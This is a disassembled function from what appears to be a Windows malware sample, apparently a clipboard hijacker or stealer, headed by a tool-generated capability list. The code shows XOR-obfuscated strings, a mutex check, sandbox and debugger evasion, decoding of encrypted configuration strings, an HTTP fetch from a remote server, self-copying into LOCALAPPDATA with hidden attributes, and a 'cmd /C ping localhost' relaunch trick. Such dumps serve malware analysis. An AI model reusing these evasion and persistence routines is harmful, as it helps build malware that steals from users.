Function at 0x14007b270
Capabilities:
Capture public ip
Check for debugger via api
Copy file
Create http request
Create process on windows
Download and write a file
Get common file path
Get memory capacity
Get system information on windows
Open clipboard
Read clipboard data
Read data from internet
Receive and write data from server to client
Receive data
Set file attributes
Set registry value
Write and execute a file
Write clipboard data
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
mov eax, 0x1840
call fcn.140187030
sub rsp, rax
movaps xmmword [rsp + 0x1830], xmm6
movaps xmmword [rsp + 0x1820], xmm7
movaps xmmword [rsp + 0x1810], xmm8
mov rax, qword [0x140363e80]
xor rax, rsp
mov qword [rsp + 0x1800], rax
xor r15d, r15d
mov dword [rsp + 0xc0], r15d
mov byte [rsp + 0xd0], 0x33
mov al, 0x52
mov cl, 0x66
mov dl, 0x58
mov r8b, 0x79
mov r9b, 0x18
mov r10b, 0x57
movzx r11d, cl
movzx ebx, r8b
mov dil, 0x44
xor esi, esi
xor al, 0x33
mov byte [rsp + 0xd1], al
xor cl, 0x33
mov byte [rsp + 0xd2], cl
xor dl, 0x33
mov byte [rsp + 0xd3], dl
xor r8b, 0x33
mov byte [rsp + 0xd4], r8b
xor r9b, 0x33
mov byte [rsp + 0xd5], r9b
xor r10b, 0x33
mov byte [rsp + 0xd6], r10b
xor r11b, 0x33
mov byte [rsp + 0xd7], r11b
xor bl, 0x33
mov byte [rsp + 0xd8], bl
xor dil, 0x33
mov byte [rsp + 0xd9], dil
mov byte [rsp + 0xda], sil
lea r8, [rsp + 0xd1]
xor edx, edx
mov ecx, 0x1f0001
call qword [sym.imp.KERNEL32.dll_OpenMutexA]
test rax, rax
jne 0x14007c9f9
mov byte [rsp + 0x40], sil
xorps xmm0, xmm0
movups xmmword [rsp + 0x1a8], xmm0
mov qword [rsp + 0x1b8], r15
mov qword [rsp + 0x1c0], r15
xor r8d, r8d
lea rdx, [0x1403488ed]
lea rcx, [rsp + 0x1a8]
call fcn.140084310
nop
lea rax, str.false
lea rcx, str.true
cmp rax, rcx
sete byte [rsp + 0x41]
xorps xmm0, xmm0
movups xmmword [rsp + 0x128], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x138], xmm1
mov r8d, 0x17
lea rdx, str.http:__ip_api.com_line_
lea rcx, [rsp + 0x128]
call fcn.140084310
nop
lea rdx, [rsp + 0x128]
lea rcx, [rsp + 0x228]
call fcn.140079270
nop
mov rdx, qword [rsp + 0x140]
cmp rdx, 0xf
jbe 0x14007b453
inc rdx
mov rcx, qword [rsp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007b44e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dc21
call fcn.14018630c
movdqa xmm6, xmmword [0x140349800]
movdqu xmmword [rsp + 0x138], xmm6
mov byte [rsp + 0x128], 0
lea rdi, [rsp + 0x228]
mov r12, qword [rsp + 0x228]
mov r13, qword [rsp + 0x240]
cmp r13, 0xf
cmova rdi, r12
mov rbx, qword [rsp + 0x238]
cmp rbx, 1
jbe 0x14007b4b6
lea r8, [rbx - 1]
lea rcx, [rdi + 1]
mov edx, 0xa
call fcn.1401bbfa0
test rax, rax
je 0x14007b4b6
sub rax, rdi
jmp 0x14007b4bd
mov rax, 0xffffffffffffffff
inc rax
lea rsi, [rsp + 0x228]
cmp r13, 0xf
cmova rsi, r12
cmp rax, rbx
jae 0x14007b4f6
mov r8, rbx
sub r8, rax
lea rcx, [rsi + rax]
mov edx, 0xa
call fcn.1401bbfa0
mov rdi, rax
test rax, rax
je 0x14007b4f6
sub rdi, rsi
jmp 0x14007b4fd
mov rdi, 0xffffffffffffffff
lea rsi, [rdi + 1]
lea r14, [rsp + 0x228]
cmp r13, 0xf
cmova r14, r12
cmp rsi, rbx
jae 0x14007b534
mov r8, rbx
sub r8, rsi
lea rcx, [r14 + rsi]
mov edx, 0xa
call fcn.1401bbfa0
test rax, rax
je 0x14007b534
sub rax, r14
jmp 0x14007b53b
mov rax, 0xffffffffffffffff
xorps xmm0, xmm0
movups xmmword [rsp + 0x1c8], xmm0
mov qword [rsp + 0x1d8], r15
mov qword [rsp + 0x1e0], r15
cmp rbx, rsi
jb 0x14007dc27
sub rax, rdi
lea r8, [rax - 1]
sub rbx, rsi
cmp rbx, r8
cmovb r8, rbx
lea rdx, [rsp + 0x228]
cmp r13, 0xf
cmova rdx, r12
add rdx, rsi
lea rcx, [rsp + 0x1c8]
call fcn.140084310
mov dword [rsp + 0xc0], 1
lea rcx, [rsp + 0x1c8]
mov r13, qword [rsp + 0x1e0]
mov rdi, qword [rsp + 0x1c8]
cmp r13, 0xf
cmova rcx, rdi
mov rbx, r13
mov rsi, qword [rsp + 0x1d8]
cmp rsi, 2
jne 0x14007b5e9
test rsi, rsi
je 0x14007b62a
mov r8, rsi
lea rdx, [0x140348ef8]
call fcn.1401bbec0
test eax, eax
sete al
test al, al
jne 0x14007b62a
lea rcx, [rsp + 0x1c8]
cmp rbx, 0xf
cmova rcx, rdi
mov rdx, rbx
cmp rsi, 2
jne 0x14007b727
test rsi, rsi
je 0x14007b62a
mov r8, rsi
lea rdx, [0x140348efc]
call fcn.1401bbec0
test eax, eax
sete al
mov rdx, rbx
test al, al
je 0x14007b727
cmp rbx, 0xf
jbe 0x14007b662
lea rdx, [rbx + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14007b659
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dc75
mov rcx, rdi
call fcn.14018630c
nop
mov rdx, qword [rsp + 0x240]
cmp rdx, 0xf
jbe 0x14007b6a5
inc rdx
mov rcx, qword [rsp + 0x228]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007b6a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dc7b
call fcn.14018630c
mov qword [rsp + 0x238], r15
mov qword [rsp + 0x240], recv
mov byte [rsp + 0x228], 0
mov rdx, qword [rsp + 0x1c0]
cmp rdx, 0xf
jbe 0x14007b704
inc rdx
mov rcx, qword [rsp + 0x1a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007b6ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dc2d
call fcn.14018630c
mov qword [rsp + 0x1b8], r15
mov qword [rsp + 0x1c0], recv
mov byte [rsp + 0x1a8], 0
xor eax, eax
jmp 0x14007c9fb
lea rcx, [rsp + 0x1c8]
cmp rdx, 0xf
cmova rcx, rdi
cmp rsi, 2
jne 0x14007b75f
test rsi, rsi
je 0x14007b75a
mov r8, rsi
lea rdx, [0x140348f00]
call fcn.1401bbec0
test eax, eax
sete al
test al, al
je 0x14007b75f
mov byte [rsp + 0x40], 1
lea rax, str.false
lea rcx, str.true
cmp rax, rcx
jne 0x14007b8ba
lea rcx, [rsp + 0xf8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x118], 2
jb 0x14007b88a
mov dword [rsp + 0x250], 0x40
lea rcx, [rsp + 0x250]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x258]
shr rax, 0x14
cmp eax, 0x800
jb 0x14007b88a
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor edx, edx
mov r8d, 3
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x38], r15
lea rcx, [rsp + 0xd0]
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0x18
lea rcx, [rsp + 0x148]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x70000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov eax, dword [rsp + 0x15c]
mov ecx, dword [rsp + 0x158]
imul rax, rcx
mov ecx, dword [rsp + 0x154]
imul rax, rcx
imul rax, qword [rsp + 0x148]
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
cmp eax, 0x64
jb 0x14007b88a
mov dword [rsp + 0xf0], r15d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0xf0]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [rsp + 0xf0], 0
je 0x14007b8ba
lea rcx, [rsp + 0x1c8]
call fcn.1400761f0
nop
lea rcx, [rsp + 0x228]
call fcn.1400761f0
nop
lea rcx, [rsp + 0x1a8]
call fcn.1400761f0
xor eax, eax
jmp 0x14007c9fb
xorps xmm0, xmm0
movups xmmword [rsp + 0x148], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x158], xmm1
mov r8d, 0x20
lea rdx, str.7664CD01B89149F2853F4A74D04FBDDF
lea rcx, [rsp + 0x148]
call fcn.140084310
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x128], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x138], xmm1
mov r8d, 0x2c
lea rdx, str.D1QAVXp1BAZ1Cl9XAFokA1pQVnMGJQdQJ1FVc3N2cCc
lea rcx, [rsp + 0x128]
call fcn.140084310
nop
lea r8, [rsp + 0x148]
lea rdx, [rsp + 0x128]
lea rcx, [rsp + 0x188]
call fcn.140079960
nop
mov rdx, qword [rsp + 0x140]
cmp rdx, 0xf
jbe 0x14007b980
inc rdx
mov rcx, qword [rsp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007b97a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dc33
call fcn.14018630c
nop
mov rdx, qword [rsp + 0x160]
cmp rdx, 0xf
jbe 0x14007b9c3
inc rdx
mov rcx, qword [rsp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007b9be
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dc69
call fcn.14018630c
xorps xmm0, xmm0
movups xmmword [rsp + 0x148], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x158], xmm1
mov r8d, 0x20
lea rdx, str.072F48FA447C41878F36D3270062818B
lea rcx, [rsp + 0x148]
call fcn.140084310
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x128], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x138], xmm1
mov r8d, WSAGetLastError
lea rdx, str.WENGNkcCaW5GVUBtU1hMX00kRkUhQVFYXkRTXEwfWy1dGGQjRlkPLFVTUmx5WFReTCdBTxdcR0VTVRlAXVdLbVhSUyJHFysgXVoYAFtVXQ
lea rcx, [rsp + 0x128]
call fcn.140084310
nop
lea r8, [rsp + 0x148]
lea rdx, [rsp + 0x128]
lea rcx, [rsp + 0x168]
call fcn.140079960
nop
mov rdx, qword [rsp + 0x140]
cmp rdx, 0xf
jbe 0x14007ba89
inc rdx
mov rcx, qword [rsp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007ba83
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dc39
call fcn.14018630c
nop
mov rdx, qword [rsp + 0x160]
cmp rdx, 0xf
jbe 0x14007bacc
inc rdx
mov rcx, qword [rsp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007bac7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dc63
call fcn.14018630c
lea rdx, [rsp + 0x168]
lea rcx, [rsp + 0x1e8]
call fcn.140079270
nop
lea rsi, [rsp + 0x1e8]
mov r8, qword [rsp + 0x1e8]
mov rdx, qword [rsp + 0x200]
cmp rdx, 0xf
cmova rsi, r8
add rsi, qword [rsp + 0x1f8]
lea rbx, [rsp + 0x1e8]
cmp rdx, 0xf
cmova rbx, r8
add rbx, qword [rsp + 0x1f8]
lea rcx, [rsp + 0x1e8]
cmp rdx, 0xf
cmova rcx, r8
mov r8b, 0xa
mov rdx, rbx
call fcn.140187920
mov r8, rax
cmp rax, rbx
je 0x14007bb65
lea rcx, [rax + 1]
cmp rcx, rbx
je 0x14007bb65
nop
movzx eax, byte [rcx]
cmp al, 0xa
je 0x14007bb5d
mov byte [r8], al
inc r8
inc rcx
cmp rcx, rbx
jne 0x14007bb50
lea rax, [rsp + 0x1e8]
cmp qword [rsp + 0x200], 0xf
cmova rax, qword [rsp + 0x1e8]
mov r9, r8
sub r9, rax
sub rsi, r8
mov rbx, qword [rsp + 0x1f8]
mov rax, rbx
sub rax, r9
cmp rax, rsi
cmovb rsi, rax
lea rcx, [rsp + 0x1e8]
cmp qword [rsp + 0x200], 0xf
cmova rcx, qword [rsp + 0x1e8]
add rcx, r9
sub rbx, rsi
mov r8, rbx
sub r8, r9
inc r8
lea rdx, [rcx + rsi]
call fcn.1401bb480
mov qword [rsp + 0x1f8], rbx
movabs rax, 0x7fffffffffffffff
sub rax, rbx
cmp rax, 7
jb 0x14007dc3f
lea rax, [rsp + 0x1e8]
cmp qword [rsp + 0x200], 0xf
cmova rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 7
lea r9, str.http:__
lea r8, [rsp + 0x1e8]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0xd0]
call fcn.140086100
mov dword [rsp + 0xc0], send
mov r8d, 1
lea rdx, [0x140349000]
lea rcx, [rsp + 0xd0]
call fcn.140081f80
xorps xmm0, xmm0
movups xmmword [rsp + 0x148], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x158], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x148], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x158], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov dword [rsp + 0xc0], 0x19
lea rdx, [rsp + 0x188]
cmp qword [rsp + 0x1a0], 0xf
cmova rdx, qword [rsp + 0x188]
mov r8, qword [rsp + 0x198]
lea rcx, [rsp + 0x148]
call fcn.140081f80
xorps xmm0, xmm0
movups xmmword [rsp + 0x128], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x138], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x128], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x138], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov dword [rsp + 0xc0], 0x1d
mov r8d, 1
lea rdx, [0x140349000]
lea rcx, [rsp + 0x128]
call fcn.140081f80
movups xmm7, xmmword [rax]
movups xmm8, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov esi, 0x1f
mov dword [rsp + 0xc0], esi
mov rdx, qword [rsp + 0x1c0]
cmp rdx, 0xf
jbe 0x14007bd9f
inc rdx
mov rcx, qword [rsp + 0x1a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007bd9a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rsi
ja 0x14007dc45
call fcn.14018630c
movups xmmword [rsp + 0x1a8], xmm7
movups xmmword [rsp + 0x1b8], xmm8
mov rdx, qword [rsp + 0x140]
cmp rdx, 0xf
jbe 0x14007bdf3
inc rdx
mov rcx, qword [rsp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007bdee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dc4b
call fcn.14018630c
movdqu xmmword [rsp + 0x138], xmm6
mov byte [rsp + 0x128], 0
mov rdx, qword [rsp + 0x160]
cmp rdx, 0xf
jbe 0x14007be47
inc rdx
mov rcx, qword [rsp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007be42
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dc51
call fcn.14018630c
movdqu xmmword [rsp + 0x158], xmm6
mov byte [rsp + 0x148], 0
mov rdx, qword [rsp + 0xe8]
cmp rdx, 0xf
jbe 0x14007be9b
inc rdx
mov rcx, qword [rsp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007be96
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dc57
call fcn.14018630c
lea rdx, [rsp + 0x1a8]
lea rcx, [rsp + 0x128]
call fcn.140079270
lea rcx, [rsp + 0x128]
mov r14, qword [rsp + 0x128]
mov r12, qword [rsp + 0x140]
cmp r12, 0xf
cmova rcx, r14
mov rbx, qword [rsp + 0x138]
cmp rbx, 5
jne 0x14007bf04
test rbx, rbx
je 0x14007befb
mov r8, rbx
lea rdx, str._pro_
call fcn.1401bbec0
test eax, eax
sete al
test al, al
je 0x14007bf04
mov byte [0x140364c00], 1
jmp 0x14007bf3e
lea rcx, [rsp + 0x128]
cmp r12, 0xf
cmova rcx, r14
cmp rbx, 7
jne 0x14007bf37
test rbx, rbx
je 0x14007bf3e
mov r8, rbx
lea rdx, str._error_
call fcn.1401bbec0
test eax, eax
sete al
test al, al
jne 0x14007bf3e
mov byte [0x140364c00], 0
cmp r12, 0xf
jbe 0x14007bf77
lea rdx, [r12 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14007bf6e
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dc5d
mov rcx, r14
call fcn.14018630c
nop
mov rdx, qword [rsp + 0x200]
cmp rdx, 0xf
jbe 0x14007bfba
inc rdx
mov rcx, qword [rsp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007bfb5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dc63
call fcn.14018630c
movdqu xmmword [rsp + 0x1f8], xmm6
mov byte [rsp + 0x1e8], 0
mov rdx, qword [rsp + 0x180]
cmp rdx, 0xf
jbe 0x14007c00e
inc rdx
mov rcx, qword [rsp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007c009
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dc69
call fcn.14018630c
movdqu xmmword [rsp + 0x178], xmm6
mov byte [rsp + 0x168], 0
mov rdx, qword [rsp + 0x1a0]
cmp rdx, 0xf
jbe 0x14007c062
inc rdx
mov rcx, qword [rsp + 0x188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007c05d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dc6f
call fcn.14018630c
mov qword [rsp + 0x198], r15
mov qword [rsp + 0x1a0], recv
mov byte [rsp + 0x188], 0
cmp r13, 0xf
jbe 0x14007c0b6
lea rdx, [r13 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14007c0ad
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dc75
mov rcx, rdi
call fcn.14018630c
nop
mov rdx, qword [rsp + 0x240]
cmp rdx, 0xf
jbe 0x14007c0fa
inc rdx
mov rcx, qword [rsp + 0x228]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007c0f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dc7b
call fcn.14018630c
nop
jmp 0x14007c10e
lea rcx, [0x14036c4b0]
lea rdx, [0x14036c610]
cmp rcx, rdx
je 0x14007c13d
cmp qword [0x14036c628], 0xf
cmova rdx, qword [0x14036c610]
mov r8, qword [0x14036c620]
call fcn.140081e20
lea rdx, [0x14036c690]
cmp qword [0x14036c6a8], 0xf
cmova rdx, qword [0x14036c690]
mov r8, qword [0x14036c6a0]
lea rcx, [0x14036c6b0]
call fcn.140081e20
lea rdx, [0x14036c570]
cmp qword [0x14036c588], 0xf
cmova rdx, qword [0x14036c570]
mov r8, qword [0x14036c580]
lea rcx, [0x14036c590]
call fcn.140081e20
lea rdx, [0x14036c318]
cmp qword [0x14036c330], 0xf
cmova rdx, qword [0x14036c318]
mov r8, qword [0x14036c328]
lea rcx, [0x14036c5b0]
call fcn.140081e20
lea rdx, [0x14036c450]
cmp qword [0x14036c468], 0xf
cmova rdx, qword [0x14036c450]
mov r8, qword [0x14036c460]
lea rcx, [0x14036c5f0]
call fcn.140081e20
lea rdx, [0x14036c2f8]
cmp qword [0x14036c310], 0xf
cmova rdx, qword [0x14036c2f8]
mov r8, qword [0x14036c308]
lea rcx, [0x14036c530]
call fcn.140081e20
lea rdx, [0x14036c630]
cmp qword [0x14036c648], 0xf
cmova rdx, qword [0x14036c630]
mov r8, qword [0x14036c640]
lea rcx, [0x14036c4f0]
call fcn.140081e20
lea rdx, [0x14036c410]
cmp qword [0x14036c428], 0xf
cmova rdx, qword [0x14036c410]
mov r8, qword [0x14036c420]
lea rcx, [0x14036c5d0]
call fcn.140081e20
lea rdx, [0x14036c670]
cmp qword [0x14036c688], 0xf
cmova rdx, qword [0x14036c670]
mov r8, qword [0x14036c680]
lea rcx, [0x14036c490]
call fcn.140081e20
lea rdx, [0x14036c4d0]
cmp qword [0x14036c4e8], 0xf
cmova rdx, qword [0x14036c4d0]
mov r8, qword [0x14036c4e0]
lea rcx, [0x14036c510]
call fcn.140081e20
lea rdx, [0x14036c3f0]
cmp qword [0x14036c408], 0xf
cmova rdx, qword [0x14036c3f0]
mov r8, qword [0x14036c400]
lea rcx, [0x14036c3b0]
call fcn.140081e20
lea rdx, [0x14036c430]
cmp qword [0x14036c448], 0xf
cmova rdx, qword [0x14036c430]
mov r8, qword [0x14036c440]
lea rcx, [0x14036c650]
call fcn.140081e20
lea rdx, [0x14036c470]
cmp qword [0x14036c488], 0xf
cmova rdx, qword [0x14036c470]
mov r8, qword [0x14036c480]
lea rcx, [0x14036c550]
call fcn.140081e20
lea rdx, [0x14036c3d0]
cmp qword [0x14036c3e8], 0xf
cmova rdx, qword [0x14036c3d0]
mov r8, qword [0x14036c3e0]
lea rcx, [0x14036c378]
call fcn.140081e20
mov byte [0x140364c00], 0
cmp byte [0x14036c2f1], 1
jne 0x14007ca65
mov qword [rsp + 0xd0], r15
mov qword [rsp + 0xf0], r15
lea r8, str.localappdata
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0xd0]
call fcn.1401973b0
test eax, eax
jne 0x14007cb3f
mov rdx, qword [rsp + 0xd0]
test rdx, rdx
je 0x14007cb3f
mov r8, qword [rsp + 0xf0]
dec r8
lea rcx, [rsp + 0x208]
call fcn.1400802c0
nop
mov rdx, rax
lea rcx, [rsp + 0x1c8]
call fcn.140083720
nop
lea rcx, [rsp + 0x208]
call fcn.1400761f0
mov rcx, qword [rsp + 0xd0]
call fcn.14019664c
movdqa xmm1, xmmword [0x140349860]
movdqu xmmword [rsp + 0x168], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x169], al
xor byte [rsp + 0x16a], cl
xor byte [rsp + 0x16b], cl
xor byte [rsp + 0x16c], cl
xor byte [rsp + 0x16d], cl
xor byte [rsp + 0x16e], cl
xor byte [rsp + 0x16f], cl
xor byte [rsp + 0x170], cl
xor byte [rsp + 0x171], cl
xor byte [rsp + 0x172], cl
xor byte [rsp + 0x173], cl
xor byte [rsp + 0x174], cl
xor byte [rsp + 0x175], cl
xor byte [rsp + 0x176], cl
mov byte [rsp + 0x177], 0
lea rax, [rsp + 0x169]
mov qword [rsp + 0xc0], rax
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x250]
call fcn.140083780
nop
lea r8, [rsp + 0x250]
lea rdx, [rsp + 0x1c8]
lea rcx, [rsp + 0x148]
call fcn.140077c50
nop
lea rcx, [rsp + 0x250]
call fcn.140077de0
mov r8d, 0x104
lea rdx, [rsp + 0x5e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rsp + 0x5e0]
lea rcx, [rsp + 0x128]
call fcn.1400837e0
nop
lea rdx, [rsp + 0x148]
lea rcx, [rsp + 0x128]
call fcn.140077c10
test al, al
je 0x14007ca3c
lea rcx, [rsp + 0x188]
call fcn.140076250
nop
lea rdx, [rsp + 0x250]
lea rcx, [rsp + 0x148]
call fcn.1400779c0
nop
mov rdx, rax
lea rcx, [0x14036ae00]
call fcn.140083840
nop
lea rcx, [rsp + 0x250]
call fcn.1400761f0
lea rdx, [rsp + 0x208]
lea rcx, [rsp + 0x148]
call fcn.1400779c0
nop
mov rdx, rax
lea rcx, [rsp + 0x250]
call fcn.140083720
nop
lea rcx, [rsp + 0x250]
call fcn.140078760
movzx ebx, al
lea rcx, [rsp + 0x250]
call fcn.140077de0
nop
lea rcx, [rsp + 0x208]
call fcn.1400761f0
test bl, bl
je 0x14007c60b
lea rdx, [rsp + 0x208]
lea rcx, [rsp + 0x148]
call fcn.1400779c0
nop
mov rdx, rax
lea rcx, [rsp + 0x250]
call fcn.140083720
nop
lea rcx, [rsp + 0x250]
call fcn.140078870
nop
lea rcx, [rsp + 0x250]
call fcn.140077de0
nop
lea rcx, [rsp + 0x208]
call fcn.1400761f0
lea rdx, str.start_cmd__C__ping_localhost__n_1__start
lea rcx, [rsp + 0x188]
call fcn.140080090
lea rdx, [rsp + 0x250]
lea rcx, [rsp + 0x148]
call fcn.1400779c0
nop
mov rdx, rax
lea rcx, [rsp + 0x188]
call fcn.1400800b0
nop
lea rcx, [rsp + 0x250]
call fcn.1400761f0
lea rdx, [0x14034898c]
lea rcx, [rsp + 0x188]
call fcn.140080090
lea rdx, [rsp + 0x208]
lea rcx, [rsp + 0x148]
call fcn.1400779c0
nop
mov rcx, rax
call fcn.140080080
mov rbx, rax
lea rdx, [rsp + 0x250]
lea rcx, [rsp + 0x128]
call fcn.1400779c0
mov rcx, rax
call fcn.140080080
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CopyFileA]
lea rcx, [rsp + 0x250]
call fcn.1400761f0
nop
lea rcx, [rsp + 0x208]
call fcn.1400761f0
lea rdx, [rsp + 0x250]
lea rcx, [rsp + 0x148]
call fcn.1400779c0
mov rcx, rax
call fcn.140080080
mov rcx, rax
mov edx, 0x22
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rsp + 0x250]
call fcn.1400761f0
mov qword [rsp + 0xc0], r15
movdqa xmm1, xmmword [0x140349980]
movdqu xmmword [rsp + 0xf8], xmm1
movdqa xmm2, xmmword [0x140349990]
movdqu xmmword [rsp + 0x108], xmm2
mov cl, 0x46
mov dl, 0x4d
mov r8b, 0x57
mov r9b, 0x75
movzx r10d, cl
mov bl, 0x51
mov dil, 0x50
mov sil, 0x4a
mov r14b, 0x4c
movzx r15d, dl
mov r12b, 0x7f
mov r13b, 0x71
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r11d, xmm1
xor al, r11b
mov byte [rsp + 0xf9], al
xor byte [rsp + 0xfa], r11b
xor byte [rsp + 0xfb], r11b
xor byte [rsp + 0xfc], r11b
xor byte [rsp + 0xfd], r11b
xor byte [rsp + 0xfe], r11b
xor byte [rsp + 0xff], r11b
xor byte [rsp + 0x100], r11b
xor byte [rsp + 0x101], r11b
xor byte [rsp + 0x102], r11b
xor byte [rsp + 0x103], r11b
xor byte [rsp + 0x104], r11b
xor byte [rsp + 0x105], r11b
xor byte [rsp + 0x106], r11b
xor byte [rsp + 0x107], r11b
movd eax, xmm2
xor al, r11b
mov byte [rsp + 0x108], al
xor byte [rsp + 0x109], r11b
xor byte [rsp + 0x10a], r11b
xor byte [rsp + 0x10b], r11b
xor byte [rsp + 0x10c], r11b
xor byte [rsp + 0x10d], r11b
xor byte [rsp + 0x10e], r11b
xor byte [rsp + 0x10f], r11b
xor byte [rsp + 0x110], r11b
xor byte [rsp + 0x111], r11b
xor byte [rsp + 0x112], r11b
xor byte [rsp + 0x113], r11b
xor byte [rsp + 0x114], r11b
xor byte [rsp + 0x115], r11b
xor byte [rsp + 0x116], r11b
xor byte [rsp + 0x117], r11b
xor cl, r11b
mov byte [rsp + 0x118], cl
xor dl, r11b
mov byte [rsp + 0x119], dl
xor r8b, r11b
mov byte [rsp + 0x11a], r8b
xor r9b, r11b
mov byte [rsp + 0x11b], r9b
xor r10b, r11b
mov byte [rsp + 0x11c], r10b
xor bl, r11b
mov byte [rsp + 0x11d], bl
xor dil, r11b
mov byte [rsp + 0x11e], dil
xor sil, r11b
mov byte [rsp + 0x11f], sil
xor r14b, r11b
mov byte [rsp + 0x120], r14b
xor r15b, r11b
mov byte [rsp + 0x121], r15b
